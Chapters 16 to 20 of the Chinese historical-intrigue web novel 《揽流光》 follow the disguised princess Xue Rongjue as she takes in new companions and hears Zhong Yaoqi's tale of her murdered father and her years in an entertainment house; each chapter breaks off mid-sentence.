她看着他暗淡却不肯放弃的双眸,轻声问道:“你……叫什么名字?” 他粲然一笑,摆摆手:“不足为道。” 说完转身离去,走了两步却又停下,没有回身只道:“待胜利之时,再告知于姑娘。” 后来? 没有后来,她身殒火海。 他,大概死于蛮人之手。 * 薛容玦睁开眼,长长出了一口气,面上露出几分讥嘲:“崔敬山当年作为明郡郡监,却仍能让田冯中饱私囊,在事发之后自己功成身退,甚至让自己的大儿子崔广接手了明郡、二儿子崔度手握兵权,还把小女儿崔棠送进宫中,真是不简单呐。” “若是如此,”牧平也神色严肃地看着她,“我们怕是要重新筹谋。” 他看薛容玦神情烦躁,又瞥到窗外雨势渐小便道:“雨瞧着小了不少,不若姑娘出去走走,待姑娘心情好些我们再来筹谋。” 月红最看不得自家郡主愁容满面,便拉着她朝外走:“奴婢同郡主去转转吧。” 竹绿为人沉默寡言,见状也附和道:“是啊,我同月 16. 飒飒秋雨(二) 《揽流光》全本免费阅读 窗外寒风呼啸,灯残人静。 室内亮如白昼,医女在窗前为那位从河边救来的女子施着针,在这寒凉的日子里她额头上冒出了细密的汗珠。 竹绿则站在医女一旁打着下手。 因夜色深沉,牧平也不便在女眷房中多留,便只有薛容玦坐在桌前等着医女施针结束。 少顷,医女施针完毕,擦了擦额间的汗珠,对竹绿交代了什么,然后来到薛容玦前悄声回禀着:“这位姑娘在河水中待得太久了,身子有些受损。昏睡不醒是因体力不支,不必担心,在下已经熬制了参汤,一会姑娘着下人喂她喝下去即可。 “这位姑娘明日便会醒来了。” 月红推门进来,薛容玦用眼神示意,她将手中木盒递给医女。 医女接过木盒被它的重量吓了一跳,惊惧地看着上首面容可人的女子。 薛容玦饮了口浓茶,笑着安抚道:“张大夫不必担心,只是我等出行在外想低调行事,不想叫他人知晓此事。” 这位张姓医女不知为何看着这位女子,不过二八芳华,可她的神色淡然,浑身散发着逼人的气势。 薛容玦眼中那未到眼底的笑意令医女打了个寒战,垂着头应道:“贵人放心,在下有分寸的。” 薛容玦扶着月红的手站起身,笑着道:“麻烦大夫今夜住在里间,以免半夜有什么意外情况。” 她又看着竹绿道:“今晚你守着这位姑娘和大夫。” 竹绿看到薛容玦略有深意的眼神点了点头:“姑娘放心。” 月红扶着薛容玦回到房间时已经夜半三更了,月红一边为薛容玦卸下钗环和妆容一边问道:“郡主为何给医女如何多的财物?奴婢瞧着她是个老实本分的当地人。” “出门在外,小心行事总是没错的。”薛容玦看着铜镜中里素净的面庞,未着粉黛,一双桃花眼如朝霞般流光溢彩,两弯柳叶眉如弯月般楚楚可人。 “若如月红姐姐所说,她是个老实本分的,收下了应收的诊金并答应不外传此事,月红姐姐会如何想?” 月红轻轻拿着篦子为薛容玦篦头,歪着脑袋想了想道:“奴婢对此人其实不甚了解,即便她答应了不外传,奴婢还是会不放心。” “那若是给她一大笔钱呢?” 月红细细思索了一番,似有所得,兴奋道:“她收下这笔钱,若是老实本分的人,便会怀疑此事有隐秘,她只会牢牢闭紧嘴。 “她若心有邪念,即便被人寻到,只会想着利用此事来敲诈我们几笔,若是不成也许会将此事宣扬出去。” 薛容玦透过铜镜赞赏地看着她,点点头:“拿人钱财替人办事,若她是个聪明人,收下这笔钱她就会小心行事,绝不外露。 “若她是个蠢笨的,要宣扬此事,那她就是自寻死路了。” 月红正想开口夸赞薛容玦思虑周全,却瞥到铜镜中的她脸上丝毫有没有笑意,表情淡淡,不知为何,浑身散发着冷冽的气质。 似乎……似乎自今日收到周老爷子的信后,姑娘便始终眉头紧皱、郁结不解。 * 万籁俱寂,太阳攀过青山一点一点点燃了天际,驱散了所有的黑暗,清晨悄然到来。 清晨的阳光透过窗户撒满地面,金色的光芒充斥着房间。 月红正在医女的指点下借驿站的厨房为那位姑娘熬制着汤药。 竹绿瞥了一眼门外无人,才开口对来探望的薛容玦道:“医女昨晚十分老实,未曾惴惴不安或试图离去。” 薛容玦点点头,张姓医女看着便是老实本分,但外貌亦可欺人,多多留心总是好的。 她朝床上昏睡的女子扬了扬下巴:“如何了?” “昨日施针后又灌了参汤,瞧着好了不少,”竹绿指了指那位女子的脸颊,“脸颊红润多了,想是今日便能醒来。” “你快去歇会吧,”薛容玦笑着拍了拍她的肩,“昨夜守了一夜想来也累着了。” 竹绿点了点头,对薛容玦笑了一下转身离开。 薛容玦正打算等月红回来再离开,没想到这位医女先行上来。 医女左右确认走廊无人后掩上了门,抱着昨日拿到的木盒朝跪在坐在桌前的薛容玦面前磕了个头:“姑娘身份定不一般,在下有个不情之请。” 薛容玦拿起茶碗吹开了浮沫,喝了口茶才淡淡道:“即知是不情之请,何必开口。” 医女显然没料到她会这么说,小脸憋得通红,却仍是说道:“昨日姑娘的人前去请医师,其实请的是我伯父。只是他正巧不在,我瞧着来者衣着不俗,便大胆顶替前来。” “你不怕自己医术不精?”薛容玦似是觉得有几分意思,挑了挑眉微微倾身看着她。 “在下对自己的医术有信心,”医女提到医术面上先前的惶恐都被自信取代,“在下不过想为自己和弟弟谋一个出路。” 医女大着胆子抬起头瞧薛容玦,看她面上并无不耐烦之色,偷偷出了一口气,复又道:“姑娘昨日前去请的医师是我伯父,我爷爷从前在此处行医,医术了得在此一带颇有名气,伯父不过是承了他的名气。 “我父亲天资聪颖,爷爷便将祖传的针灸之术传于我父亲。我父亲本继承了爷爷衣钵,只可惜天意弄人。 “父母在进药材的途中出了意外双双殒命,我与弟弟只得寄人篱下。 “可伯父此人有些心术不正,一心想从我与弟弟手中夺得祖传针灸。并非我贪图什么,只是若针灸之术落在他手中怕是个祸害。 “伯父对我和弟弟也不甚了了,非打即骂。昨日拿到姑娘给的财物时我本想趁夜回去带弟弟远走高飞,可我们俩一介平民,无人庇护只会十分艰难。 “姑娘一行人谈吐不俗,必不是凡人,求姑娘让在下留在您身边,哪怕洒扫一世,只求您救我弟弟出来。” 说完便向薛容玦扣了个头,额头伏地不肯起身。 薛容玦倒不是十分在意这话中真假,这女子确实颇有些能力,正巧她身边也缺人,倒可以做个帮手。 “你抬起头来。” 这医女闻言抬起了头,她虽身材微丰,面容清秀,双目还因刚才激动的情绪微微泛红。 “我确实需要一个帮手,”薛容玦看着她浮上喜色的面庞,“不过我并非本地人,若要你与弟弟背井离乡可愿意?” “愿意愿意,”医女激动地点着头,“只要同弟弟一起便好。” “你叫什么名字?几岁了?” “奴婢名叫张茵陈今年二十,弟弟名叫张飞廉,今年十六。弟弟的医术一般,不过有一膀子力气,为主子做些体力活还是可以的。” 薛容玦起身,扶起她:“不必如此生疏,叫我姑娘便可。出门在外,近身侍女不够,茵陈姐姐怕是要先同月红姐姐学一学充一阵子侍女,待离开此处回了家,我再为姐姐开间医馆。” 茵陈闻言落下泪来,又要跪下被薛容玦拉住了:“你这一身本事,做个小婢女可是太屈才了。” 茵陈将手中的盒子递还给薛容玦:“这个太过贵重,姑娘还帮我们姐弟脱离 17. 飒飒秋雨(三) 《揽流光》全本免费阅读 风轻云淡,天朗气清。 窗外的翠绿枫树有百岁之龄,高大茂盛,树叶随着微风沙沙作响。树上的蝉鸣也不似往日激昂慷慨,更似那乐府初学乐器的孩童们所奏乐曲一般有气无力的。 薛容玦和月红伴着这大自然的曲调一边闲聊一边收拾着包裹,突然传来了“嗒嗒嗒”的敲门声。 月红放下手中杂物前去开门,原来是竹绿和一位她未曾见过的小伙子。 月红将二人引入房中,又掩上了门接过薛容玦手中的杂物站在她身后。 竹绿向薛容玦抱拳道:“姑娘放心,一切很顺利,奴婢将张小公子带来了。” 薛容玦点了点头,视线转向这位张飞廉。 竹绿在女子中本就高挑,这位少年要比竹绿高上许多,面容郎俊中又透着青涩。 “我瞧着你倒不像十六岁,像是十七八岁的样子,看起来和阿兄的身型倒是相当。” 张飞廉“扑通”一声跪在薛容玦面前,低着头道:“多谢恩人救我姐弟二人出苦海,以后便是为恩人上刀山下火海飞廉也绝无怨言。” 薛容玦向竹绿使了一个眼神,竹绿会意地扶起了飞廉道:“我家姑娘心善,公子这样怕是要吓到姑娘。” 张飞廉借力站了起来,只是垂着头局促地攥了攥手,颇有些不知所措生怕自己吓到了恩人,薛容玦将他的小动作都纳入眼中,笑道:“我瞧着你倒是练武的好苗子,可愿在我身边充个侍卫?” 张飞廉猛地抬起头,双目明亮带着期待道:“可以吗?我是有一膀子力气,只是功夫却不会多少……” “无妨,”薛容玦笑着道,“让月红带你先去瞧瞧你姐姐,之后便跟着凌侍卫就成。” “多谢姑娘,”张飞廉又一抱拳,笑容灿烂单纯,眼中满是少年人不加掩饰的感激,“飞廉定会好好保护姑娘的。” 竹绿瞧着月红带张飞廉离去才关上门向薛容玦回禀道:“姑娘放心,奴婢已经探查了一番,张姑娘所言属实,并无半句虚言。” 薛容玦点点头,起身整理了一些裙摆道:“那便好,我们去瞧瞧钟姑娘去。” * 钟瑶期正在房中踱步便听到敲门声,忙去开了门,原来是薛容玦和那位冷面婢女。 薛容玦带着竹绿迈进门,看着她气色红润笑道:“钟姑娘这几日瞧着恢复得不错。” 钟瑶期的面庞丰腴了一些,脸颊也红润了不少,瞧着不再弱柳扶风,更加光彩照人。 钟瑶期忙引她坐下,为她倒了一盏茶:“还要多谢容姑娘相救,若是没有姑娘我怕是早已命丧黄泉了。茵陈姑娘让我近日无事多在房中走走,果然好得更快了些呢。” 薛容玦拿起茶盏轻轻啄了一口,笑道:“姑娘这是大难不死,必有后福。我今日前来是同姑娘道别的,耽搁此处多日,我等也该启程了。” 钟瑶期秀美清挑讶异了一下,复低下头双手在身前紧握着,愧疚道:“是奴家耽误了容姑娘,听容姑娘口音不像本地人,不知容姑娘前往明郡是为何,若是有奴家能帮上的容姑娘尽管开口。” “我等是来自京都的粮商,安乐县的米可是声名远扬,此番专程来瞧瞧,但我等对明郡同安乐县不甚了解,钟姑娘可能为我等介绍介绍?” “原是如此,”钟瑶期紧簇的眉头方才展开,点点头笑道,“那是自然,我虽生于连青郡,却时常往来明郡对明郡十分熟识呢。” 她的声音和她的人一样清润,犹如涓涓细流娓娓道来:“明郡现如今的郡守乃是崔广,是颇受陛下宠爱的崔夫人之兄。崔广此人在明郡可谓是一手遮天,京中派来的监郡倒显得无足轻重。不过,在他的治理下明郡百姓也算是安居乐业。 “明郡的郡尉乃是褚瀚,此人乃是崔家爪牙,事事以崔广为先。” 钟瑶期想到她们一行人是前来买粮的,又歪着头想了想补充道:“明郡以安乐县为核心,明郡的米粮全国闻名,却只有两家大的粮行。 “一家名曰广济米行,乃崔广之子崔原所经营;另一家名曰大同米行,表面为王家在经营,实则仍是崔家在经营。” 薛容玦听到一些自己未曾调查到的事情,好奇地问道:“这王家是?” “我也不甚清楚,”钟瑶期皱眉摇了摇头,“只知晓似是与崔家有所关联。” 薛容玦点点头,起身拉着钟瑶期的手道别:“多谢钟姑娘相告,我等明日便先行一步,钟姑娘可在此多休息些时日再返回家乡。” 钟瑶期双瞳剪水,咬着下唇欲言又止地看着她:“不知……容姑娘可否带我一同前往安乐县?” 钟瑶期见薛容玦挑了挑眉,却并不十分意外,双眸中满是淡然,只听她平静却略有深意地问道:“钟姑娘为何要去安乐县呢?” 钟瑶期正欲开口,薛容玦拉紧了她的手,打断了她:“姑娘这一副金镶珠翠耳坠看起来价值不菲呢。 “钟姑娘不若想好了再说,谎话说一次便够了。” “钟姑娘觉得呢?”薛容玦明明笑看着她,可那双眸中的冷意让钟瑶期无端出了一身冷汗。 * 薛容玦从钟瑶期房中出来时正巧在廊道与牧平也相遇。 牧平也愣了一下,笑道:“正打算去找姑娘,在下瞧着这几日天气不错,道路也变得干燥,不如我们继续上路?” 薛容玦闻言“扑哧”笑出声:“正打算同公子说此事呢。” “那真真是巧了,”牧平也笑道,“那我去安排一下马车和侍卫。” “且慢,”薛容玦阻了阻他,环视一周道,“公子可愿去驿站外走走?” 牧平也自是无不可,薛容玦让竹绿在驿站和月红继续收拾行李,二人缓步向着灵秀河边走去。 清澈的河流潺潺流着,时不时有鸟鸣从头顶飞过,河边还有些浣衣的农家女们在说些什么,她们面庞上都挂着单纯的笑意,眸子里全是清澈的快乐。 薛容玦像是初初来到郊外的少女,十分好奇地左瞧右瞧,一会蹲在河边和鱼儿面面相觑,一会弯腰摘掉一朵夕颜花把玩着,看着未曾见过的植物会时不时向牧平也讨问。 牧平也缓步走在她身后,看着她一抹橙色的倩影点缀在这清淡绿意的初秋,他忽然开口道:“姑娘似乎很喜欢缤纷的色彩。” “什么?”薛容玦正瞧着一只蝴蝶翩翩飞过,没能听到他的声音,脸上还挂着未散尽的笑意转身看着他,裙摆微微翻动。 她此刻就像一只落入人间的精灵,古灵精怪。 牧平也的眸中满是不自知的柔情,轻笑出声:“在下说,姑娘好似很喜欢缤纷的色彩。” 薛容玦手中拿着花背到身后,青丝因她微微倾身而垂落到身前,更衬得她肤白如雪,她好奇地问道:“公子这话是怎么说?” 牧平也走到她身边和她缓缓向前走着,开口道:“姑娘的衣裙都是各种各样色彩,有湖蓝、草绿、鹅黄但就是没有见姑娘穿过月白底色的衣裙。 “在下记得,京都近日在世家贵女中月白底色的衣裙颇为流行。” 薛容玦手中玩着夕颜花,侧头看着牧平也,眸中都是打趣:“公子十分细心。” “不止如此,”牧平也嗅到了桂花的清香,沁人心脾,他顺着香气看向了前方的月桂树,“姑娘格外偏爱绿色,姑娘总是会对绿色的事物放慢脚步。” 薛容玦也嗅到了同样的清甜香气,快步走到前方月桂树下微微仰头嗅着:“满山遍是木樨香呐,真想在我的院中也种几棵。” 牧平也撩起衣袍坐在月桂树下,薛容玦看他如此潇洒的姿态愣了一瞬,便拿出帕子放在树下也坐了上去。 牧平也看她又拿出一张帕子,将树下掉落的桂花一一捡起,她注意到他的目光笑着解释道:“回去做个木樨香囊,我很喜欢木樨香。” 牧平也看着她认真的侧脸,卷翘的睫毛像刚刚飞过的蝴蝶翅膀般微微颤动,眼下那颗泪痣似坠未坠:“姑娘近日因周老爷子的信闷闷不乐,此刻显然心境开阔了许多。” 薛容玦将手中的桂花瓣小心包好,转头对牧平也粲然一笑,如夕颜花一般绚烂:“公子心细如发。” 牧平也却不敢看她明媚的眼睛,只是微微低下了头,双眸幽深如墨。 “我确实很喜欢绿色,”薛容玦将花瓣包好放入怀中,双臂抱膝看着河水流淌,阳光照在河面上波光粼粼,犹如夏夜闪烁的繁星般绚丽夺目,“绿色总让我觉得生机勃勃,我喜欢这种生机盎然的感觉。” “白色太寂寥了。”她的声音变得悲戚,染上了浓重的悲伤,让牧平也不自觉想起了梦中那抹白色的身影,孤冷决绝。 薛容玦怕牧平也发现的她的情绪变化,深吸了口气,转头看向他故作轻快地说:“对了,我邀公子是想谈谈钟姑娘,我怀疑她与崔家有关。 18. 飒飒秋雨(四) 《揽流光》全本免费阅读 蝉鸣阵阵,熏风带着暑气,六岁的钟瑶期正蹲在树下逗蚂蚁玩,她手中拿着一根小木棍不断阻挡着小蚂蚁回家的路。 她起身伸了个懒腰,瞧了瞧天色已经暗了下来,便跑到正在纺织的邻家阿婆身边问道:“阿婆阿婆,阿爹怎的还不回来?阿爹说给我带花灯的。” 邻家阿婆闻言停下了手中的活计,粗糙的手掌垂怜地摸了摸她的头,这姑娘长得十分俊美,一看就是个美人胚子,可惜母亲自她出事后便离世了。 这姑娘的父亲倒是个痴情的,一直未曾再娶,一个人又当爹又当娘地把孩子拉扯大。 往常他有事出门也常将孩子寄托给邻家阿婆,逢年过节也给阿婆送些吃食。 邻家阿婆也可怜这对父女时时帮忙看顾着。 她鬓发斑白,褶皱的面容散发出慈祥的气质:“阿瑶别急,你阿爹一会就回来了,厨房里有你爱吃的糕点,先去吃些,一会阿婆给阿瑶做好吃的。” 钟瑶期看着阿婆在忙着纺织,便偷偷溜回自家屋子里,藏在衣柜中想等阿爹回来之后吓他一跳,这也是她和阿爹乐此不疲的游戏。 只是她等啊等,阿爹一直没有回来。 她甚至在衣柜中打了个盹儿醒来,天已经彻底暗了下来却还是没听到阿爹回来的动静。 她正打算推开柜门跳出去看看,就见阿爹急急忙忙地回来,面容上是从未见过的紧张,汗水顺着他粗旷的面庞滴下。 他将一些东西放在了她的玩偶布虎里,那是阿娘在怀着她时为她做的布虎,她日日夜里都要抱着布虎睡觉,就像阿娘还陪着她一般。 阿爹似有所感,朝她的方向看来,她透过缝隙看到阿爹朝自己摇了摇头将食指放在唇前示意她噤声。 她以为阿爹在同她游戏,笑着朝柜子里缩了缩,她看到阿爹深深地望了这里一眼后,留下一个笑容便决绝地出了房门。 长大后钟瑶期才知道,那笑容中夹杂了太多的苦涩与不舍,可是幼时的她并不懂,只以为阿爹在与自己玩游戏。 她隐约间听到院中传来打斗的声音,好一会方歇,似乎是在做追问什么东西的下落。 可她不敢动,晚风送来的气息阴森可怖,她不知道自己在衣柜中藏了多久,昏昏沉沉的,知道天光渐亮,她才敢轻轻推开柜门。 刚刚迈出房门,她就看到院中一片狼藉,她最喜欢的秋千架跌落在地上,还溅满了血迹。 她不知道发生了什么,心中有种不好的预感,鬼使神差地她朝着一个偏僻的小巷子中走去,她觉得阿爹就在那里。 她走了很久才走到,阿爹真的在那里,可是他衣衫破烂,睁着双眼、浑身布满干涸的血迹。 钟瑶期颤抖着手去捉阿爹的手,冰凉刺骨。 她的泪珠一颗接一颗的掉落,她转身就要去找阿婆救阿爹,只是她刚刚跑出巷子便被人打晕昏了过去。 * 一位身材微丰,面庞油腻的胖男人瞥到身边面容郎俊的男人微微皱起的眉,随即站起身吼道:“这弹的什么破曲儿!爷花钱就是来听这个的吗?!” 钟瑶期的手一抖弹出的音调格外刺耳,她瑟缩地抱着琵琶站起身,身子微微颤抖给二人道歉,她未曾想到今日第一次待客便遇到如此不好招惹的客人。 “呦呦呦,是谁惹我们陈老板生气了?”一个娇媚的声音从门外闯进来,笑着进屋不着声色地将钟瑶期揽在身后。 这位女子像她的声音一样千娇百媚,一双明眸风情万种,不论是谁被她瞧一眼都会为这美貌倾倒。 “玉娘,你们红苑坊的姑娘可都是以技艺过人闻名的,”这位名唤陈老板的人看到这名女子显然是松了一口气,指着她身后的钟瑶期,“这弹的什么玩意儿,今日好不容易请来了崔公子,可别坏了我们崔公子的兴致。” 玉娘笑着拿起桌上的酒壶倒了杯酒,纤纤素手拿着酒杯以袖掩面喝了下去:“丫头第一次待客,让各位见笑了,奴家代她同个各位老板赔罪,各位想听什么,奴家来为各位老板演奏。” 玉娘说着推着钟瑶期出了房门,历声道:“还嫌不够丢红苑坊的脸吗,赶紧出去。” 钟瑶期知道玉娘是为了她好,低着头迈着小碎步忐忑不安地回到了房中。 只是,她没能瞧见身后那位衣着锦绣、面容俊朗的男人笑意不明地看着玉娘,玉娘阅人无数,却未曾见过如此郎然俊俏的少年,一抹酡红攀上她的面庞,也不知是因醉酒还是因害羞。 红苑坊是这明郡最大的销金窟,甚至有人专程赶千里的路只为一睹这红苑坊。 这里的老板深谙“得而不得,恒为上乘”的道理,这里的姑娘全倚靠自己琴棋书画的才艺在此处谋生,甚至京中贵人都专程从这里为自家女儿请老师。 那些附庸风雅的达官贵人都喜欢来这里彰显自己的品味高尚。 钟瑶期被卖到这里后受了不少搓磨,那时的她浑身上下表面上能看到的脸蛋、双手都没有明显的伤痕,可是看不到的地方全是伤痕累累。 她被关在柴房里不见天日,她也是个有骨气的,每当打在身上时应是咬着牙不出声,每当夜深人静之时,才悄悄掉下几颗泪珠。 她摒着呼吸咬着牙挪动了一下双腿,钻心的疼一阵阵袭来,冷汗一颗一颗从额头上滑落,她大口地在黑暗中呼着气,仿佛这样就能减少一些疼痛。 “吱呀”一声,未曾关紧的柴房门被推开,可能看守的人也觉得她这副样子跑不出去,柴门并未上锁。 一张素净的小脸从门外探进来,夜空中的月光从她身后照射进来,像是照射在万丈深渊里的光。 玉娘悄声上前,将手中已经硬了的馒头塞进她手里:“他们今日都去喝酒了,这是我从厨房偷偷拿的,放心吃吧。” 她看着钟瑶期一脸戒备的样子摇了摇头,宽慰道:“你若想离开,也不能用这样以命相争的方式。你要等到所有人都放下戒备,再趁其不备。 “况且,在这里只要听话、认真学,老板也并不会亏待我们,好歹是学门手艺不是,即便他日离开也能谋生。 “你且好好想想吧。” “你……”钟瑶期看她转身的背影,没忍住问道,“为什么要帮我?” 玉娘回眸一下笑,轻快地迈着步子也不 19. 飒飒秋雨(五) 《揽流光》全本免费阅读 夜深人静,万籁俱寂。 灯芯“啪”地闪了一下,屋内的薛容玦和牧平也才醒了神,从钟瑶期的故事中抽离出来。 薛容玦起身走到钟瑶期身前半蹲下,轻轻拿着帕子为她擦拭着眼泪,温柔地问道:“后来呢?” 钟瑶期哭得上气不接下气,简单地说道:“后来……奴家的名气越来越大,崔原又来招惹奴家,他早已不记得奴家是几年前那个弹错琵琶的姑娘。 “奴家想调查玉娘的死因,在他身边待了一阵子,发现了些事情,玉娘的死不是意外。但崔原似乎发现了奴家在暗中调查,奴家趁乱逃跑……后来……就遇到姑娘一行人了……” 薛容玦不可自拔地坠入一个漩涡之中,像是顺着时间逆流而上。 她看到自己一袭白衣被火海吞没。 她看到阿爹满眼不舍地环视整间屋子,最终目光停留在书架的一角。 她看到阿爹一笔一笔地在写那封信,直到写道“努力加餐饭”时,泪水终于忍不住汩汩涌出。 …… “容姑娘?” “昭昭?” 薛容玦恍惚间听到有人在叫自己,直到一双温热的大手将她揽住,她转头才看到牧平也担忧地目光。 她冲牧平也笑了笑,但她不知自己那苍白的面色不能给人任何安慰。 薛容玦扶着桌子起身,半蹲在钟瑶期身前,双手拉着她放在膝上冰凉的双手:“钟姑娘,玉娘怕也不愿你被困在往事中不可自拔。” 钟瑶期看向那双担忧的双眸,那漂亮清澈的眸中承载了太多的情绪,她看不懂也不明白:“我……我总是要为玉娘报仇的……” 薛容玦并不放弃,拉紧了她的手试图温暖她:“玉娘最想开一间小酒馆,我可以帮你,你可愿意?去完成玉娘没能完成的愿望。 “她的一生太短暂,还没能看到这世间美好的一切便离去。 “你可愿替她去瞧瞧‘彩舟云淡,星河鹭起’?” 钟瑶期被她灼灼目光晃得失了神,不敢直视她,只是微微错过了她的目光,垂下眸子却未开口。 薛容玦叹了口气,站起身让月红扶着钟瑶期回去休息。 钟瑶期深深地看了她一眼,向她颔首离去。 待她二人离去后,薛容玦趴在桌上盯着摇摇晃晃的烛火出神。 牧平也看着她迷茫的双眸,轻轻开口道:“姑娘……在想什么?” “我在想,”她的面庞在烛火的映照下显得十分凄凉,“逝去的人已经逝去,活着的人是要追随自己的心意去复仇还是努力活下去。” 牧平也眉头微蹙,眸中闪过一丝不明的情绪:“不论是做怎样的决定,他日无悔,便也是不错的结局了。” 薛容玦自嘲地笑了笑,随即说道:“不说这个了,说正事,钟姑娘此事公子怎么看?” 牧平也手中无意识地把玩着空了的茶盏:“姑娘如何看呢?” “我觉得,”薛容玦垂下了双眸,“我想再劝劝她,去做玉娘没能做完的事情吧。” 牧平也微微摇了摇头,无可奈何道:“钟姑娘看着柔柔弱弱的,但骨子里是个倔强的。你瞧她一个人能从崔家跑出来,还逆着河水游了这么远,便是我们让她走,她暗地里怕还是要想办法自己回安乐县去找崔原报仇。” “牧公子观察够细致的啊。”薛容玦微微转头瞧着他。 明明她的眸光一如往常,牧平也却无端有些心虚,他以手握拳放在唇边轻咳了一声:“……姑娘觉得该如何做呢?” “如果我是玉娘,”薛容玦的漂亮的手指轻轻敲着脑袋,眼神有些飘忽,“我希望她放下一切,好好活着。” 牧平也闻言愣了一下,却不知道说什么。 薛容玦并未纠缠,仔细思索了一下浅笑道:“还是把她带在身边吧,也许会有用处。” 只是那个笑容非常淡,一晃而过。 * 薛容玦正坐在马车里靠着月红闭目养神,忽然问道:“怎么今日这辆马车里就你我二人?” 月红手中在编织着什么,手上的动作不停,笑道:“牧公子在外和凌侍卫骑马并行,茵陈和钟姑娘在后面的马车上,竹绿和她们在一辆车上。” “原来是这样。”薛容玦点了点头。 “郡主,”凌侍卫凌云的声音从马车外传来,“昨日京都来了封给您的书信,一时忙上了头,此刻才想起来。” “无妨,”薛容玦起身撩开帘子,接过了信,“让凌叔陪我奔波,本就心里过意不去,此等小事凌叔不必放在心上。” 她又看到前方身姿挺拔骑着骏马的牧平也和一旁的飞廉在聊着什么,少年的脸庞上都是兴奋之色。 薛容玦扬了扬头示意他看向前方的飞廉,问道:“飞廉近日如何?” 凌云闻言那素来不苟言笑的面庞居然浮上了一丝笑意:“郡主,这小子天资聪颖,若是好好培养,将来能接替在下的位子。” 薛容玦着实有些吃惊,凌云是跟着薛勖霖早些年在战场上出生入死的,其人颇勇。 只是后来,在与北蛮对战中为薛勖霖挡了一箭,离心口就错两寸,倒是捡回了一条命,只是自此身子落下了病根,再也未能上战场。 薛勖霖感念其人勇猛,便将薛家的护卫之事交予凌云,也可见薛勖霖对他的信任。 薛容玦又状似无意地问道:“近日,凌叔和牧公子接触不少,凌叔觉得他如何?” 凌云又赞赏地点了点头:“牧公子的身手在下还不清楚,但牧公子博学广识,对古往今来的战役都了然于胸,他的见解亦十分一针见血。” 薛容玦十分了然地点了点头,笑道:“原来如此,离安乐县不远了吧?” 凌云点了点头,看了眼天色:“今日天黑之前应该能到。” 薛容玦在车中打开信件阅读着,月红注意到她眼角眉梢都含着笑意,好奇地问道:“京都出了什么好玩的事情吗?” “是阿兄的信,他絮絮叨叨地和我说近日里发生的事情,都是些鸡毛蒜皮的小事,但他就是能把这些事情说得十分有趣。” 不知看到了什么,薛容玦轻轻地“啊”了一声。 月红以为出了什么事,紧张地直问:“怎么了怎么了?” 薛容玦神色严肃地道:“阿兄现下的官 20. 飒飒秋雨(六) 《揽流光》全本免费阅读 薛容玦清晨天还没亮就坐上马车前往城郊的无名寺,街道上安静至极,整座城镇还在沉睡未曾苏醒。 她们一行人从京都出发,经过月余终于到了安乐县,眨眼间就到了中秋。 茵陈坐在薛容玦身边打了个哈欠,问道:“姑娘,今日是中秋,为何我们不在家中过中秋呢?为何一早要去无名寺啊?” 今日薛容玦只带了茵陈和一名侍卫出门,侍卫正在外面驾车。 牧平也今日帮着月红去郡主府打点,竹绿则留在院中陪着钟瑶期。 侍卫在外驾车驾得十分平稳,薛容玦躺在马车上闭目养神,听到茵陈的提问缓缓道:“我想去和净元大师聊一聊,今日不是大师讲经么?” “净元大师?”茵陈疑惑道,“可是今日人会很多,未必能见到大师,而且大师每月十五都会讲经的。” 薛容玦若有所思道:“是吗?” 茵陈看她似有自己的思量便未再多言。 很快便到了无名寺,薛容玦带着茵陈下了马车,虽然此刻刚刚远方的天空刚刚泛起鱼肚白,但这无名寺前已有不少人了。 茵陈提议道:“姑娘,时候还早,不如去后山看看。姑娘不是喜欢木樨吗,无名寺有一个木樨园十分有名,不少达官贵人专程在这个季节来呢,奴婢曾有幸来过一次,确实十分不错呢。” 薛容玦闻言点了点头,让侍卫远远地跟着。 这寺庙和京郊的永乐寺齐名,占地十分大,木樨园说是在后山,其实是在寺庙的西南角。 主仆二人来得算早,寺庙内的小沙弥还在做早课,山中传来的鸟鸣与微风吹来的木樨香抚平了薛容玦莫名的焦躁。 薛容玦和茵陈拿着帕子蹲在地上捡掉下来的木樨,突然一个清脆的童声,从身后传来。 “施主,可否一聊?” 她转身看到了一位小沙弥,面容清秀俊朗却十分淡然,也就十二三岁的样子却浑身散发着出世的气质。 她起身双手合十道:“那是自然,小师傅有何指教?” 清晨的木樨园中只有他们三人,小师傅微微一笑瞥了一眼茵陈。 薛容玦会意,小声道:“你去园外等我。” 待茵陈离去后,小沙弥引着薛容玦坐到一旁亭中,薛容玦脚步微微落后一步,抬首看了看亭子。 小沙弥引薛容玦坐在他对面,一双眸中全是通透与了然:“施主没有什么想要问的吗?” 薛容玦脑海中有什么迅速划过,可是她却没有抓住,只道:“此亭名唤‘天风亭’倒是个不错的名字。” “施主有所不知,”小沙弥淡淡道,“无名寺乃是依此木樨林所建,便为此亭取名‘天风亭’①。” 薛容玦点了点头:“原是如此,受教了。” 日光此刻照射过浓密的木樨林,阳光影影绰绰地透过树叶照射在亭中,薛容玦张开手掌看着阳光穿过手掌在石桌上留下阴影。 小沙弥看着她把玩着阳光,突然道:“不知姑娘这些年过得可还好?” 薛容玦闻言歪了歪头,似乎努力回想在哪里见过他:“小师傅……我们曾见过吗?” 小沙弥点了点头道:“姑娘幼时,曾有一面之缘。” “原是这样,”薛容玦长出了一口气,笑道,“前些日子我伤了脑袋,好些事情不记得了,实在抱歉。” “无事,”小沙弥摇了摇头,“只是有一句话要告知施主。” 薛容玦看着对面的小沙弥,他明明只有十一二岁的模样,声音稚嫩清脆,可偏偏散发出一股清淡又超然物外的气质,并没有一丝矛盾感。 “心无挂碍,无挂碍故,无有恐怖,远离颠倒梦想,究竟涅槃。②” 薛容玦只觉此话十分耳熟,正细细思索之时小沙弥已起身告辞。 薛容玦急忙起身问道:“不知如何称呼小师傅?” 小沙弥转身看着她,他逆光而站,似是被金光环绕犹如佛陀:“他日亦会重逢,施主不必挂念。” 他日重逢?薛容玦总觉得在哪见过这位小沙弥,却想不起来,可待她再次回神打算开口之时已经没有身影了。 茵陈缓步走来看到薛容玦出神却没有多问,只道:“姑娘,我们去前面听讲经吧,马上开始了。” 薛容玦脑中还在思索小沙弥所说之语,微垂着头边思索边前行未曾注意前方的转弯处,茵陈打算开口之时薛容玦已经撞到一位公子身上了。 茵陈急忙上前扶着薛容玦:“姑娘!姑娘无事吧?” 薛容玦拍了拍她的手示意她放心,又对这位公子道:“实在不好意思,公子可有大碍?” 这位公子衣着华贵一看便是哪家贵人的公子,他的面容倒如这江南一般柔和,竟有几分清秀。 他抱拳,微微弯腰道:“是在下不小心撞到了姑娘,该是在下道歉才是。” 薛容玦客套地笑了笑:“公子无事便好,我等先行一步。” 许是刚从木樨园出来,她从他身旁行过时还带着淡淡的木樨香。 他看着她离去的身影,袅袅婷婷犹如月桂仙子,招手唤来身后的小厮。 